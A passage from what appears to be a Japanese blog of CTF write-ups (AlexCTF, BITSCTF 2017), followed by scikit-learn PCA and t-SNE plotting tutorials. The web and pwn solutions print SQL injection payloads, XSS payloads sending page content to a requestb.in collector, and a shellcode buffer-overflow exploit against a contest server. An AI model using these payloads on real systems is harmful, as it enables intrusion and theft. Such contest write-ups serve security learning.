ary = [0x24, 0x0, 0x5, 0x36, 0x65, 0x7, 0x27, 0x26, 0x2d, 0x1, 0x3, 0x0, 0xd, 0x56, 0x1, 0x3, 0x65, 0x3, 0x2d, 0x16, 0x2, 0x15, 0x3, 0x65, 0x0, 0x29, 0x44, 0x44, 0x1, 0x44, 0x2b, 0x0]
s = ''
for i in ary:
    s += msg[i]
print s
$ python test.py
ALEXCTF{W3_L0v3_C_W1th_CL45535}L

RE4: unVM me (Reversing 250)

「HITCON CTF 2016 Quals 供養(Writeup)」で使ったshow_file.pyでディスアセンブルすると、5文字ごとに特定のmd5ハッシュ値と一致しているかを見ていることがわかる。

  2          12 LOAD_CONST               2 (174282896860968005525213562254350376167L)
             15 LOAD_CONST               3 (137092044126081477479435678296496849608L)
             18 LOAD_CONST               4 (126300127609096051658061491018211963916L)
             21 LOAD_CONST               5 (314989972419727999226545215739316729360L)
             24 LOAD_CONST               6 (256525866025901597224592941642385934114L)
             27 LOAD_CONST               7 (115141138810151571209618282728408211053L)
             30 LOAD_CONST               8 (8705973470942652577929336993839061582L)
             33 LOAD_CONST               9 (256697681645515528548061291580728800189L)
             36 LOAD_CONST              10 (39818552652170274340851144295913091599L)
             39 LOAD_CONST              11 (65313561977812018046200997898904313350L)
             42 LOAD_CONST              12 (230909080238053318105407334248228870753L)
             45 LOAD_CONST              13 (196125799557195268866757688147870815374L)
             48 LOAD_CONST              14 (74874145132345503095307276614727915885L)
             51 BUILD_LIST              13
             54 STORE_NAME               1 (md5s)
(snip)
 12     >>  144 SETUP_LOOP             112 (to 259)
            147 LOAD_NAME                6 (range)
            150 LOAD_CONST              20 (0)
            153 LOAD_NAME                4 (len)
            156 LOAD_NAME                3 (flag)
            159 CALL_FUNCTION            1
            162 LOAD_CONST              19 (5)
            165 CALL_FUNCTION            3
            168 GET_ITER
        >>  169 FOR_ITER                86 (to 258)
            172 STORE_NAME               7 (i)

 13         175 LOAD_NAME                3 (flag)
            178 LOAD_NAME                7 (i)
            181 LOAD_NAME                7 (i)
            184 LOAD_CONST              19 (5)
            187 BINARY_ADD
            188 SLICE+3
            189 STORE_NAME               8 (s)

 14         192 LOAD_NAME                9 (int)
            195 LOAD_CONST              21 ('0x')
            198 LOAD_NAME                0 (md5)
            201 LOAD_ATTR               10 (new)
            204 LOAD_NAME                8 (s)
            207 CALL_FUNCTION            1
            210 LOAD_ATTR               11 (hexdigest)
            213 CALL_FUNCTION            0
            216 BINARY_ADD
            217 LOAD_CONST              22 (16)
            220 CALL_FUNCTION            2
            223 LOAD_NAME                1 (md5s)
            226 LOAD_NAME                7 (i)
            229 LOAD_CONST              19 (5)
            232 BINARY_DIVIDE
            233 BINARY_SUBSCR
            234 COMPARE_OP               3 (!=)
            237 POP_JUMP_IF_FALSE      169

文字種をいろいろ変えながらブルートフォースすると元の文字列が求まる。

from itertools import product
from hashlib import md5

hashes = [
    (174282896860968005525213562254350376167L),  # md5('ALEXC')
    (137092044126081477479435678296496849608L),  # md5('TF{dv')
    (126300127609096051658061491018211963916L),  # md5('5d4s2')
    (314989972419727999226545215739316729360L),  # md5('vj8nk')
    (256525866025901597224592941642385934114L),  # md5('43s8d')
    (115141138810151571209618282728408211053L),  # md5('8l6m1')
    (8705973470942652577929336993839061582L),    # md5('n5l67')
    (256697681645515528548061291580728800189L),  # md5('ds9v4')
    (39818552652170274340851144295913091599L),   # md5('1n52n')
    (65313561977812018046200997898904313350L),   # md5('v37j4')
    (230909080238053318105407334248228870753L),  # md5('81h3d')
    (196125799557195268866757688147870815374L),  # md5('28n4b')
    (74874145132345503095307276614727915885L)    # md5('6v3k}')
]

"""
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for t in product(chars, repeat=5):
    x = ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=2):
    x = 'TF{' + ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=5):
    x = ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=4):
    x = ''.join(t) + '}'
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)

# ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}

CR1: Ultracoded (Cryptography 50)

与えられたテキストを適当に変換すると、モールス信号を表す文字列が得られる。

data = open('zero_one').read()

s = ''
for x in data.split():
    if x == 'ZERO':
        s += '0'
    else:
        s += '1'

s = "%x" % int(s, 2)
s = s.decode('hex')
s = s.decode('base64')
print s
$ python test.py
.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

Morse Code Translator等で復号した文字列を適当に変換するとフラグが得られる。

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT
ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}

CR3: What is this encryption? (Cryptography 150)

「OpenSSLとPythonでRSA暗号の原理を知る」と同様に、RSAの復号を行うだけ。

p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q,r = b//a,b%a; m,n = x-u*q,y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    return b, x, y

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        return None  # modular inverse does not exist
    else:
        return x % m

d = modinv(e, (p-1)*(q-1))
m = pow(c, d, p*q)
m = "%x" % m
print m.decode('hex')
$ python test.py
ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}

Fore1: Hit the core (Forensics 50)

stringsすると長い文字列が見つかる。

$ strings fore1.core
(snip)
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}
(snip)

フラグフォーマットをヒントに、一定間隔で文字を拾うとフラグが得られる。

s = 'cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}'
print s[3::5]
$ python test.py
ALEXCTF{K33P_7H3_g00D_w0rk_up}

Fore3: USB probing (Forensics 150)

USBのパケットキャプチャファイルが与えられる。 サイズの大きなパケットを探すと、101番のパケットでPNGファイルが転送されているのが見つかる。

f:id:inaz2:20170206205347p:plain

ALEXCTF{SN1FF_TH3_FL4G_0V3R_U58}

SC1: Math bot (Scripting 100)

与えられる数式を計算するだけ。evalを使うのは危険だが適当にやってしまった。

from minipwn import *

s = socket.create_connection(('195.154.53.62', 1337))
for i in xrange(500):
    print recvuntil(s, ':\n')
    x = recvline(s)
    print x
    y = eval(x[:-2])
    sendline(s, str(y))
interact(s)
$ python test.py
                __________
         ______/ ________ \______
       _/      ____________      \_
     _/____________    ____________\_
    /  ___________ \  / ___________  \
   /  /XXXXXXXXXXX\ \/ /XXXXXXXXXXX\  \
  /  /############/    \############\  \
  |  \XXXXXXXXXXX/ _  _ \XXXXXXXXXXX/  |
__|\_____   ___   //  \\   ___   _____/|__
[_       \     \  X    X  /     /       _]
__|     \ \                    / /     |__
[____  \ \ \   ____________   / / /  ____]
     \  \ \ \/||.||.||.||.||\/ / /  /
      \_ \ \  ||.||.||.||.||  / / _/
        \ \   ||.||.||.||.||   / /
         \_   ||_||_||_||_||   _/
           \     ........     /
            \________________/

Our system system has detected human traffic from your IP!
Please prove you are a bot
Question  1 :

51592980733851622235329877819524 % 81337315219774907248751097819108 =

Question  2 :

222530311273284491939188931042597 * 5582384329582694587240599887190 =

(snip)

Question  500 :

223942165497608593390730286109841 - 285025587991694605246774446376485 =

Well no human got time to solve 500 ridiculous math challenges
Congrats MR bot!
Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}
*** Connection closed by remote host ***

所感

解けなかった問題は以下。

  • RE3: Catalyst system (Reversing 150)
  • RE5: packed movement (Reversing 350)
  • CR2: Many time secrets (Cryptography 100)
  • CR4: Poor RSA (Cryptography 200)
  • CR5: Bring weakness (Cryptography 300)
  • Fore2: Mail client (Forensics 100)
  • Fore4: Unknown format (Forensics 200)
  • SC2: Cutie cat (Scripting 150)

関連リンク

BITSCTF 2017 供養(Writeup)

BITSCTF 2017に参加。410ptで30位。

BotBot (Web 10)

/robots.txtを見るとそれっぽいものがある。

Useragent *
Disallow: /fl4g

/fl4gにアクセスすると301になるが、/fl4g/にしたところフラグが得られた。

$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g
*   Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:52 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 351
< Connection: keep-alive
< Location: http://botbot.bitsctf.bits-quark.org/robot/fl4g/
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://botbot.bitsctf.bits-quark.org/robot/fl4g/">here</a>.</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at botbot.bitsctf.bits-quark.org Port 80</address>
</body></html>
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact

$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g/
*   Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g/ HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:54 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 41
< Connection: keep-alive
< X-Powered-By: PHP/7.0.15
<
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact
BITCTF{take_a_look_at_googles_robots_txt}

Batman vs Joker (Web 30)

ふつうのSQL injection問題。

' UNION SELECT table_name, column_name FROM information_schema.columns --
' UNION SELECT flag, 1 FROM Joker --
BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}

Message the admin (Web 60)

My boss has created a website. I can send messages to him via a form on that website. He is always looking out for the messages that he receives.

XSS問題。 innerHTMLの先頭を見たところdata URIが延々と続いていたので、正規表現でフラグフォーマットにマッチする部分を抜き出した。

'"><img src=http://requestb.in/XXXXXXXX>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+encodeURIComponent(document.body.innerHTML.slice(0,3000))</script>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+document.body.innerHTML.match(/BITSCTF\{[^}]*\}/)[0]</script>
BITSCTF{hsr_1s_n0t_cr3ative}

Mission improbable (Rev 20)

与えられたテキストを適当にhex decodeしてstringsをかけると、フラグっぽいものが見つかる。 最後が変だが、}に直すと通った。

import sys

data = open('MissionImprobable.TEENSY31.hex').read()

for line in data.splitlines():
    s = line[7:]
    sys.stdout.write(s.decode('hex'))
$ python test.py | strings -n8
>F@&(F1F
>F@&(F1F
EF@%0F)F
 "The flag is BI
TCTF{B4d_bad_U5BO
echo "This m
essage will selfL
 destruct in 5 s
,^t`abd4o
fgen6-78'
%&s3v.wx_DEFGHIJ
KLMNOPQRSTUVWXYZ
[\]/10cm5
BITCTF{B4d_bad_U5B}

Riskv and Reward (Rev 80)

RISC-VのELF。 16進ダンプを眺めると、dataセクションと思われる箇所に文字列と数値の配列がある。

$ xxd riskv_and_reward
(snip)
00001040: 746a 6233 6373 4674 3072 7275 7472 685f  tjb3csFt0rrutrh_
00001050: 7769 7635 5f5f 6669 7d6b 5f31 6968 607b  wiv5__fi}k_1ih`{
00001060: 7849 6372 6873 6f79 426d 7977 3143 7954  xIcrhsoyBmyw1CyT
00001070: 3372 7678 5374 545f 6a71 3430 5f7a 7271  3rvxStT_jq40_zrq
00001080: 2800 0000 2100 0000 2f00 0000 3400 0000  (...!.../...4...
00001090: 2d00 0000 3600 0000 0600 0000 1f00 0000  -...6...........
000010a0: 2500 0000 3b00 0000 2900 0000 0300 0000  %...;...).......
000010b0: 3700 0000 3e00 0000 1b00 0000 0500 0000  7...>...........
000010c0: 2200 0000 1300 0000 1400 0000 3a00 0000  "...........:...
000010d0: 3100 0000 3000 0000 1a00 0000 1000 0000  1...0...........
000010e0: 0800 0000 2300 0000 0700 0000 2400 0000  ....#.......$...
000010f0: 3c00 0000 2c00 0000 0000 0000 1800 0000  <...,...........
00001100: 4300 0000 0000 0000 0000 0000 0000 0000  C...............
(snip)

数値の配列の並びで文字列から文字を抜き出してみるとフラグが得られた。

table = 'tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq'
ary = [0x28, 0x21, 0x2f, 0x34, 0x2d, 0x36, 0x06, 0x1f, 0x25, 0x3b, 0x29, 0x03, 0x37, 0x3e, 0x1b, 0x05, 0x22, 0x13, 0x14, 0x3a, 0x31, 0x30, 0x1a, 0x10, 0x08, 0x23, 0x07, 0x24, 0x3c, 0x2c, 0x00, 0x18]

s = ''
for x in ary:
    s += table[x]
print s
$ python test.py
BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}

Labour (Misc 20)

複数の緯度経度情報を含むGPXファイルが与えられる。 緯度経度を国名に直して、頭文字を並べるとフラグが得られる。

23.71697, 89.45508   // Bandladesh
22.82885, 80.79786   // India
39.88276, 58.81642   // Turkmenistan
15.43674, 27.65039   // Sudan
12.69179, 17.50781   // Chad
14.91081, 100.47656  // Thailand
45.9267, 2.21484     // France
4.11852, 102.19922   // Malaysia
34.85709, 65.84765   // Afghanistan
28.89086, 68.30859   // Pakistan
39.20502, 31.92187   // Turkey
47.24344, 19.8457    // Hungary
25.30828, 29.84765   // Egypt
18.97119, -72.28521  // Haiti
-13.61609, 17.68359  // Angola
33.84122, 102.23438  // China
46.89624, 69.53907   // Kazakhstan

BITSCTF{MAP_THE_HACK}

Banana Princess (Crypto 20)

PDFファイルが与えられるが、先頭がおかしい。

$ xxd MinionQuest.pdf | head
00000000: 2543 5153 2d31 2e35 0d25 e2e3 cfd3 0d0a  %CQS-1.5.%......
00000010: 3420 3020 626f 770d 3c3c 2f59 7661 726e  4 0 bow.<</Yvarn
00000020: 6576 6d72 7120 312f 5920 3433 3031 3930  evmrq 1/Y 430190
00000030: 2f42 2036 2f52 2034 3034 3334 332f 4120  /B 6/R 404343/A
00000040: 312f 4720 3432 3939 3931 2f55 205b 2035  1/G 429991/U [ 5
00000050: 3736 2031 3535 5d3e 3e0d 7261 7162 6f77  76 155]>>.raqbow
00000060: 0d20 2020 2020 2020 2020 2020 2020 2020  .
00000070: 2020 0d0a 6b65 7273 0d0a 3420 3134 0d0a    ..kers..4 14..
00000080: 3030 3030 3030 3030 3136 2030 3030 3030  0000000016 00000
00000090: 2061 0d0a 3030 3030 3030 3037 3331 2030   a..0000000731 0

PDF -> CQSの対応関係からROT13変換されていると推測し、逆変換したものを書き出す。

data = open('MinionQuest.pdf').read()
with open('a.pdf', 'wb') as f:
    f.write(data.decode('rot13').encode('latin1'))

Adobe Readerで開くと一部に黒塗りがかかったページが表示される。 背景画像を選択した後右クリックから「画像をコピー」を選びペイント等に貼り付けると、黒塗りされていない画像が得られる。

f:id:inaz2:20170205215849p:plain

BITSCTF{save_the_kid}

Beginner’s luck (Crypto 40)

与えられたコードを読むと、24バイトの鍵で繰り返しXORを取っていることがわかる。 ファイル名がBITSCTFfullhd.pngであることから1920x1080のPNG画像であると推測し、特定可能な先頭部分からXOR鍵を求めて復号する。

def xor(x, y):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(x, y))

data = open('BITSCTFfullhd.png').read()

# signature:    89504e470d0a1a0a
# chunk length: 0000000d
# chunk type:   49484452 (IHDR)
# width:        00000780 (1920)
# height:       00000438 (1080)
p = '89504e470d0a1a0a0000000d494844520000078000000438'.decode('hex')
c = data[:24]
key = xor(c,p)

def supa_encryption(s1, s2):
    res = [chr(0)]*24
    for i in range(len(res)):
        q = ord(s1[i])
        d = ord(s2[i])
        k = q ^ d
        res[i] = chr(k)
    res = ''.join(res)
    return res

enc_data = ''
for i in range(0, len(data), 24):
    enc = supa_encryption(data[i:i+24], key)
    enc_data += enc

with open('a.png', 'wb') as f:
    f.write(enc_data)

f:id:inaz2:20170205215901p:plain

BITSCTF{p_en_gee}

Sherlock (Crypto 60)

与えられたテキストを見ると不自然な箇所でアルファベットが大文字になっている。 大文字部分のみを取り出し、適当に変換するとフラグが得られる。

$ grep -oP '[A-Z]' final.txt | tr -d '\n'
ZEROONEZEROZEROZEROZEROONEZEROZEROONEZEROZEROONEZEROZEROONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROONEZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROZEROZEROONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROONEONEONEZEROZEROZEROZEROZEROONEONEZEROONEONEZEROZEROZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROONEZEROONEZEROZEROONEONEZEROZEROZEROONEZEROZEROONEONEZEROONEONEONEZEROZEROONEONEZEROZEROONEONEZEROONEONEONEONEONEZEROONE

$ grep -oP '[A-Z]' final.txt | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g'
010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101
s = '010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101'
s = "%x" % int(s, 2)
print s.decode('hex')
$ python test.py
BITSCTF{h1d3_1n_pl41n_5173}

Black Hole (Forensics 10)

stringsするとBase64っぽい文字列がある。

$ strings -n8 black_hole.jpg | tail
%%u{5{?Tz9Fy
_?=>KmGF
fyJmUQ!s
UX#0htK-?P
l!]Y5-E$
5       c2jwW-4
JeY[pVP=
j3xKE}*y
M&W]>[&
UQklUQ1RGe1M1IDAwMTQrODF9

フラグフォーマットをBase64変換したものを見つつ、逆変換するとフラグが得られる。

$ echo BITSCTF | base64
QklUU0NURgo=

$ echo QklUQ1RGe1M1IDAwMTQrODF9 | base64 -d
BITCTF{S5 0014+81}

Woodstock-1 (Forensics 10)

stringsするとフラグが見える。

$ strings ws1_2.pcapng | head -n 20
Linux 4.8.0-37-generic
Dumpcap (Wireshark) 2.2.4 (Git Rev Unknown from unknown)
wlo1
port 1209 or port 3000 or port 3001
Linux 4.8.0-37-generic
Ln$Lock EXTENDEDPROTOCOLXUa`cq;KGq_Xkk3=jfOHOL3B0xUnix Pk=PtokaX|
$Supports UserCommand NoGetINFO NoHello UserIP2 TTHSearch ZPipe0 TLS|$Key
p3/%DCN000%/
|$ValidateNick codelec|
$Supports ZPipe0 NoHello UserCommand UserIP2|$GetPass|
$MyPass BITSCTF{such_s3cure_much_w0w}|
$Hello codelec|$LogedIn codelec|
        m       $Version 1,0091|$GetNickList|$MyINFO $ALL codelec  <EiskaltDC++ V:2.2.9,M:A,H:0/1/0,S:3>$ $100 KiB/s
$$14$|
f>$ZOn|x
        R|(
u=Vj
f{$ZOn|x
,Q/VHT
aVFzFz

Command_Line (Pwn 20)

スタックバッファオーバーフロー脆弱性がある。 バッファのアドレスが出力される、かつNXが無効なので、シェルコードを置いてジャンプさせることでシェルが起動できる。

from minipwn import *

#s = connect_process(['stdbuf', '-o0', './pwn1'])
s = socket.create_connection(('bitsctf.bits-quark.org', 1330))
data = recvline(s)
addr_buf = int(data, 16)
print "[+] addr_buf = %x" % addr_buf

buf = 'A' * 24
buf += p64(addr_buf+32)
buf += shellcode['x64']

sendline(s, buf)
interact(s)
$ python test.py
[+] addr_buf = 7fffffffe620
id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
ls
flag
nohup.out
pwn1
cat flag
BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}

Random Game (Pwn 30)

srand(time(0))で初期化された疑似乱数の出力を推測する問題。 同じ条件で乱数を出力するC言語コードを書き、同時刻に実行されるようにする。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    srand(time(0));
    for (int i=0; i<100; i++) {
        printf("%d\n", rand()&0xf);
        fflush(stdout);
    }
    return 0;
}
from minipwn import *

s = socket.create_connection(('bitsctf.bits-quark.org', 1337))
p = connect_process(['./a.out'])

while True:
    line = recvline(p)
    msg = s.recv(8192)
    if not msg:
        break
    print "%r" % msg
    s.sendall(line)

interact(s)
$ gcc test.c

$ python test.py
'your number for 1 round : '
'your number for 2 round : '
'your number for 3 round : '
'your number for 4 round : '
'your number for 5 round : '
'your number for 6 round : '
'your number for 7 round : '
'your number for 8 round : '
'your number for 9 round : '
'your number for 10 round : '
'your number for 11 round : '
'your number for 12 round : '
'your number for 13 round : '
'your number for 14 round : '
'your number for 15 round : '
'your number for 16 round : '
'your number for 17 round : '
'your number for 18 round : '
'your number for 19 round : '
'your number for 20 round : '
'your number for 21 round : '
'your number for 22 round : '
'your number for 23 round : '
'your number for 24 round : '
'your number for 25 round : '
'your number for 26 round : '
'your number for 27 round : '
'your number for 28 round : '
'your number for 29 round : '
'your number for 30 round : '
'congrats you are rewarded with the flag BITSCTF{54m3_533d_54m3_53qu3nc\n'
*** Connection closed by remote host ***

フラグが切れていてこのままでは通らなかったが、same_seed_same_sequenceのleetと推測して補完したところ通った。

BITSCTF{54m3_533d_54m3_53qu3nc3}

所感

解けなかった問題は以下。

  • Showcasing the admin (Web 80)
  • Good Samaritan (Misc 50)
  • Enjoy the music (Misc 60)
  • fanfie (Crypto 20)
  • Enigma (Crypto 30)
  • flagception (Forensics 30)
  • Tom and Jerry (Forensics 50)
  • Woodstock-2 (Forensics 55)
  • Gh0st in the machine (Forensics 60)
  • Remember me (Forensics 60)

関連リンク

scikit-learnでt-SNE散布図を描いてみる

「scikit-learnでPCA散布図を描いてみる」では、scikit-learnを使ってPCA散布図を描いた。 ここでは、scikit-learnを使って非線形次元削減手法のひとつt-SNEで次元削減を行い、散布図を描いてみる。

環境

「scikit-learnでPCA散布図を描いてみる」を参照。

MNISTデータセットとPCA散布図

MNISTデータセットは0から9の手書き数字を表す8x8グレイスケール画像のデータセットであり、irisに並んで有名なサンプルデータセットである。

このデータセットについてPCA散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = PCA(n_components=2).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7f880818e6d0>

f:id:inaz2:20170124152915p:plain

PCA散布図はデータのばらつきをプロットするにはよいが、次元削減により主成分ベクトルが作る線形空間での近似となるため、PCAが仮定している多次元正規分布から大きく離れた分布に従うデータでは高次元の特徴量が持っていた情報の多くが失われてしまう。 このようなデータに対しては非線形次元削減あるいは多様体学習と呼ばれる手法を用いることで、高次元空間における距離をもとにした次元削減を行うことができる。 いくつかの手法の概要をまとめると次のようになる。

  • Locally Linear Embedding (LLE): データポイント近傍での線形性を仮定する
  • Spectral Embedding (Laplacian Eigenmaps): 距離の近いデータポイント同士を繋ぐことで得られるグラフ構造を用いる
  • Multi-dimensional Scaling (MDS): データポイント間の距離の大小をできるだけ保つ
  • t-Distributed Stochastic Neighbor Embedding (t-SNE): データポイント間の類似度を表現する条件付き確率をできるだけ保つ

ここでは、2、3次元への次元削減において高いパフォーマンスを示すt-SNEを用いる。

MNISTデータセットのt-SNE散布図を描いてみる

t-SNEで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.manifold import TSNE

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = TSNE(n_components=2, random_state=0).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7ff21173ee90>

f:id:inaz2:20170124161610p:plain

上の結果から、データポイント間の距離をもとに、64次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。

関連リンク

scikit-learnでPCA散布図を描いてみる

高次元の特徴量を持つデータの分布をおおまかに把握する方法として、PCA(主成分分析)で次元削減した後散布図を描く方法がある。 ここでは、Dockerを用いてデータ分析プラットフォームAnaconda環境を構築し、scikit-learnを使ってPCA散布図を描いてみる。

環境

Ubuntu 16.04.1 LTS 64bit版、Docker 1.12.5

$ uname -a
Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ docker --version
Docker version 1.12.5, build 7392c3b

DockerでAnaconda環境を構築する

Anacondaはデータ分析・機械学習に特化したPythonディストリビューションであり、Numpy、Scipy、Matplotlib、Sympy、scikit-learn、pandasなどのライブラリやブラウザ上から対話的なスクリプト実行、プロット表示が行えるJupyter Notebookが標準でインストールされている。 今回はscikit-learnとMatplotlibしか使わないが、Jupyter Notebookを利用することでプロット結果の確認が簡単になるため、Anacondaを利用することにする。

Anacondaは公式でDockerイメージを提供しており、これを利用すると簡単に環境を構築することができる。

$ docker pull continuumio/anaconda
Using default tag: latest
latest: Pulling from continuumio/anaconda

8ad8b3f87b37: Pull complete
fa2bdab78aa4: Pull complete
074a37ca9de6: Pull complete
751e84aa2169: Pull complete
Digest: sha256:6e2b524bce61a32b1a85bb4fc88ba8f2079e3b41d8b324250a3be35c45d7d9ee
Status: Downloaded newer image for continuumio/anaconda:latest

$ docker run -i -t -p 8888:8888 continuumio/anaconda /bin/bash -c "/opt/conda/bin/conda install jupyter -y --quiet && mkdir /opt/notebooks && /opt/conda/bin/jupyter notebook --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser"

サーバが起動したら、ブラウザからhttp://[host ip address]:8888/を開くことでJupyter Notebookにアクセスできる。

f:id:inaz2:20170123193200p:plain

irisデータセットのPCA散布図を描いてみる

PCA(Principal Component Analysis; 主成分分析)は、高次元の特徴量を持つデータについて、元のデータのばらつきをよく表す低次元の合成変数を得る手法である。

ここでは分析対象として、有名なサンプルデータセットであるirisを用いることにする。

上の例を参考に、PCAで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

iris = datasets.load_iris()

print iris.data.shape
# (150, 4)

print iris.target
"""
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2
